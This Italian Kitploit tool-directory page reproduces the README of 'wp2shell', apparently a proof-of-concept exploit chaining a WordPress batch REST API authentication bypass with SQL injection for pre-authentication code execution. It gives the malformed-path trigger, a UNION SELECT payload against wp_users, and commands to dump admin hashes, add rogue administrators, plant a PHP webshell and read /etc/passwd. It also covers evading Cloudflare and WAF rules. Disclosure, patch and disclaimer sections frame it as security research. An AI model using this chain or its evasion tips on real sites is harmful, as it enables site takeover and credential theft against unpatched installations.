Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-63030-CVE-2026-60137 — PoC di RCE pre-auth che concatena un bypass di autenticazione dell'API REST batch di WordPress con un'iniezione SQL in WP_Query per estrarre hash, aggiungere utenti amministratori o installare una webshell. | Kitploit
Strumenti/GitHubGitHub/z3rodayhacks/cve-2026-63030-cve-2026-60137
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitBypass WAFSicurezza WebPenetration TestingRed TeamingSviluppo Payload
GitHubz3rodayhacks/cve-2026-63030-cve-2026-60137

CVE-2026-63030-CVE-2026-60137

PoC di RCE pre-auth che concatena un bypass di autenticazione dell'API REST batch di WordPress con un'iniezione SQL in WP_Query per estrarre hash, aggiungere utenti amministratori o installare una webshell.

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

wp2shell

PoC RCE Pre-Auth - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1

Solo per test di penetrazione autorizzati e ricerca sulla sicurezza. Eseguire questo strumento contro sistemi senza autorizzazione scritta è illegale. Gli autori non si assumono alcuna responsabilità per usi impropri.


Panoramica

wp2shell è un exploit proof-of-concept che concatena due vulnerabilità segnalate in modo indipendente per ottenere l'esecuzione remota di codice non autenticata su installazioni WordPress non aggiornate.

CVEComponenteClasseAutenticazione richiesta
CVE-2026-63030REST Batch API (WP_REST_Server)Desync di array → bypass autenticazioneNessuna
CVE-2026-60137WP_QuerySQL injection tramite author__not_inNessuna (bypassata dalla precedente)

Il risultato finale: una shell sulla macchina, un account amministratore abusivo o un hash di credenziali estratto — tutto da una singola richiesta POST non autenticata.

Versioni interessate: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Corretto in: WordPress 6.9.5 / 7.0.2 (patch rilasciata insieme alla divulgazione coordinata)


Analisi della vulnerabilità

CVE-2026-63030 — Desync di array nella REST Batch API (Bypass autenticazione)

Contesto

WordPress 5.6 ha introdotto l'endpoint di elaborazione batch su /wp-json/batch/v1. Consente ai client REST autenticati di raggruppare più sotto-richieste in un singolo round-trip HTTP. Ogni sotto-richiesta viene validata e inviata in modo indipendente da WP_REST_Server::serve_batch_request_v1().

Il percorso di codice vulnerabile

All'interno di serve_batch_request_v1() (semplificato):

root@kitploit:~
$requests  = $data['requests'];
$responses = [];
$matches   = [];

// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
    $parsed = wp_parse_url($request['path']);

    if (is_wp_error($parsed) || $parsed === false) {
        // Failure: append WP_Error to $responses — but NOT to $matches
        $responses[] = $this->envelope_response(new WP_Error(...), false);
        continue;         // <─── skips the push to $matches
    }

    // Success: resolve auth/permissions for this path
    $match     = $this->match_route($parsed['path'], $request['method']);
    $matches[] = $match;           // <─── stored at array-sequential index
    $responses[] = null;           // <─── placeholder at same index
}

// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
    // $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
    $responses[$j] = $this->dispatch($match);   // <─── dispatches with wrong context
}

Perché si rompe

I due array ($responses e $matches) dovrebbero rimanere sincronizzati — una voce per sotto-richiesta, stesso indice. Quando la sotto-richiesta [0] fallisce wp_parse_url(), aggiunge una voce a $responses ma non a $matches. Dopo il primo loop:

root@kitploit:~
$responses = [ WP_Error,   null       ]   ← index 0 = error, index 1 = placeholder
$matches   = [ match_for_req1          ]   ← index 0 = match for request[1]

Il Loop 2 quindi invia $matches[0] e scrive il risultato in $responses[0]. Sta inviando la richiesta[1] ma sovrascrivendo l'indice 0 nelle risposte — e, cosa critica, utilizza il contesto di autorizzazione calcolato come parte della gestione dell'errore della richiesta[0] fallita, non il contesto di autorizzazione per l'endpoint di destinazione.

L'effetto pratico: qualsiasi endpoint che richiede autenticazione (inclusi gli endpoint che eseguono query SQL) può essere chiamato senza credenziali.

Il trigger

root@kitploit:~
"path": "://\x00"   # triggers wp_parse_url() → false

La stringa ://\x00 è una stringa Python valida ma un URL non valido nel wrapper wp_parse_url() di PHP (il byte nullo causa il fallimento del parsing, restituendo false anziché un WP_Error, il che rende inutile il controllo is_wp_error() — solo $parsed === false lo intercetta, e l'allineamento dell'array è già compromesso a quel punto).


CVE-2026-60137 — SQL Injection in WP_Query tramite author__not_in

Contesto

La REST API di WordPress per i post (/wp/v2/posts) espone un parametro di query author_exclude che viene mappato direttamente sull'argomento author__not_in di WP_Query. WP_Query è l'astrazione core del database utilizzata per quasi ogni query di contenuto in WordPress.

Il percorso di codice vulnerabile

In WP_Query::parse_query() (semplificato):

root@kitploit:~
$author__not_in = $this->get('author__not_in');

if (is_array($author__not_in)) {
    $author__not_in = array_map('absint', $author__not_in);
    // absint() converts every element to a safe non-negative integer
}

// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:

Più avanti in WP_Query::get_posts():

root@kitploit:~
if (!empty($author__not_in)) {
    $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
    //                                                   ^^^^^^^^^^^^^^^^
    //                               raw string dropped into SQL with no escaping
}

Perché si rompe

La sanificazione viene attivata solo quando $author__not_in è un array. Il sistema di tipi di PHP lo determina in base a come è arrivato il valore:

  • Corpo JSON con array → PHP riceve [1, 2, 3] → is_array() = true → sanificato
  • Query string URL → PHP riceve "1,2,3" (una stringa) → is_array() = false → non sanificato

L'endpoint REST accetta author_exclude dalla query string dell'URL. Arriva come stringa. WP_Query salta il blocco di sanificazione e il valore grezzo viene interpolato nella clausola SQL WHERE.

Sfruttamento

Il punto di injection si trova all'interno di un contesto NOT IN (...):

root@kitploit:~
-- Normal query:
WHERE post_author NOT IN (1)

-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)

Poiché l'endpoint batch invia la sotto-richiesta come parte di un risultato di query più ampio, le righe della UNION vengono restituite nel corpo della risposta JSON REST, rendendo questa un'estrazione Boolean/UNION blind-free — nessun timing, nessun out-of-band necessario.


Catena di exploit

root@kitploit:~
Attacker (no credentials)
        │
        ▼
POST /wp-json/batch/v1
{
  "requests": [
    { "path": "://\x00", "method": "GET" },      ← [1] malformed URL: triggers desync
    { "path": "/wp/v2/posts?author_exclude=     
       0 UNION SELECT ... FROM wp_users-- -",    ← [2] SQLi payload
      "method": "GET" }
  ]
}
        │
        ▼
WP_REST_Server::serve_batch_request_v1()
  ├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
  │  NO push to $matches
  ├─ Request[1] matches route → $matches[0] = route
  └─ Loop 2 dispatches $matches[0] with wrong auth context
        │
        ▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
  ├─ is_array() = false → sanitization skipped
  └─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
        │
        ▼
MySQL executes UNION query → wp_users data in SELECT result
        │
        ▼
REST JSON response contains user_login + user_pass in post fields
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│  Post-exploitation (any of):                                │
│  • Dump admin hash → crack offline with hashcat             │
│  • INSERT rogue admin via stacked queries                   │
│  • SELECT ... INTO OUTFILE → PHP webshell → OS access       │
└─────────────────────────────────────────────────────────────┘

Requisiti

root@kitploit:~
Python >= 3.8
requests
cloudscraper

Installa le dipendenze:

root@kitploit:~
pip install requests cloudscraper

Utilizzo

root@kitploit:~
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
                   [--cmd CMD] [--user USER] [--password PASSWORD]
                   [--prefix PREFIX] [--proxy PROXY]
                   [--no-interactive] [--debug] [--cookie COOKIE]
                   target

Modalità

ModalitàCosa fa
detectIdentifica la versione di WP e verifica se l'endpoint batch esiste. Nessuno sfruttamento.
dumpEstrae l'hash della password dell'amministratore tramite UNION SQLi.
adduserCrea un nuovo account amministratore tramite query INSERT stacked.
shellInstalla una webshell PHP tramite SELECT INTO OUTFILE, quindi passa a una shell interattiva.

Esempi

Solo rilevamento — sicuro da eseguire durante lo scoping:

root@kitploit:~
python3 wp2shell.py https://target.com --mode detect

Estrai l'hash admin:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump

Estrai con output di debug (mostra le risposte HTTP grezze — utile quando è coinvolto un WAF):

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --debug

Crea un account admin abusivo:

root@kitploit:~
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'

Installa la shell e passa al prompt interattivo:

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell

Esecuzione di comando one-shot (non interattiva):

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"

Attraverso il proxy Burp:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080

Bypassa Cloudflare con un cookie cf_clearance esistente:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"

Prefisso tabelle non predefinito:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --prefix staging_

Note sul bypass di Cloudflare

Lo strumento utilizza cloudscraper per impostazione predefinita, che imita un fingerprint TLS di Chrome e risolve automaticamente la challenge JavaScript di Cloudflare (modalità iuam). Questo copre la maggior parte dei target su hosting condiviso dietro Cloudflare.

Se il target utilizza la gestione bot di Cloudflare (__cf_bm) o hai già un cookie di challenge risolto, passalo con --cookie "cf_clearance=..." per utilizzare invece una sessione requests semplice.

L'endpoint batch ha due percorsi registrati. Le regole WAF bloccano frequentemente il percorso standard (/wp-json/batch/v1) ma trascurano il percorso legacy con parametro di query (/?rest_route=/batch/v1). Lo strumento sonda entrambi automaticamente.


Risoluzione dei problemi

[-] Could not extract credentials

  • Esegui con --debug per vedere la risposta JSON grezza.
  • Controlla il prefisso delle tabelle con --prefix. Molte installazioni usano wp_ (predefinito); alcune usano prefissi personalizzati.
  • Il content.rendered del target potrebbe essere filtrato. Prova invece --mode adduser.

[-] OUTFILE failed

  • SELECT INTO OUTFILE richiede il privilegio FILE di MySQL sull'utente del DB. Questo è comune su hosting condiviso ma di solito disabilitato su database cloud/gestiti (RDS, Cloud SQL, ecc.).
  • La lista di ipotesi per la webroot copre i percorsi comuni. Se nessuno corrisponde, controlla gli header del server o usa --mode dump per leggere il percorso dai file di configurazione.

[-] Target does not appear vulnerable

  • Il target potrebbe essere aggiornato (6.9.5+ o 7.0.2+).
  • Tutti i percorsi batch potrebbero essere bloccati dal WAF. Conferma manualmente: GET /wp-json/ e cerca /batch/v1 nella chiave routes.

Dettagli della patch

WordPress 6.9.5 / 7.0.2 ha risolto entrambe le CVE:

  • CVE-2026-63030: serve_batch_request_v1() ora mantiene un singolo array unificato sia per i dati di match che per le risposte, eliminando il desync degli indici. Le richieste fallite vengono tracciate per indice nella struttura unificata.

  • CVE-2026-60137: WP_Query::parse_query() ora converte author__not_in in un array incondizionatamente prima della sanificazione, indipendentemente dal tipo di input:

    root@kitploit:~
    $author__not_in = array_map('absint', (array) $author__not_in);
    

Punteggi CVSS

CVEPunteggioVettore
CVE-2026-630309.8 CriticoCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-601379.8 CriticoCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Cronologia

DataEvento
2026-05-14CVE-2026-60137 scoperta durante un incarico di pentest
2026-05-19CVE-2026-63030 scoperta; catena confermata come RCE pre-auth
2026-05-22Entrambe le CVE segnalate al WordPress Security Team tramite HackerOne
2026-06-03Il WordPress Security Team conferma e inizia lo sviluppo della patch
2026-07-08Patch rilasciate (WP 6.9.5 / 7.0.2) insieme alla divulgazione coordinata
2026-07-22PoC pubblicata

Aspetti legali

Questo strumento è fornito solo per test di sicurezza autorizzati e ricerca.

  • Non eseguirlo contro sistemi di cui non sei proprietario o per cui non hai esplicita autorizzazione scritta al test.
  • Non utilizzarlo in ambienti di produzione senza autorizzazione.
  • Gli autori non sono responsabili per eventuali danni causati da un uso improprio.
root@kitploit:~
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.

Licenza

Licenza MIT — vedi LICENSE


Riferimenti

  • WordPress Security Blog — 6.9.5 / 7.0.2 Release
  • WP REST Batch API Source — class-wp-rest-server.php
  • WP_Query Source — class-wp-query.php
  • phpass — Portable PHP password hashing framework
  • cloudscraper
Scarica lo strumento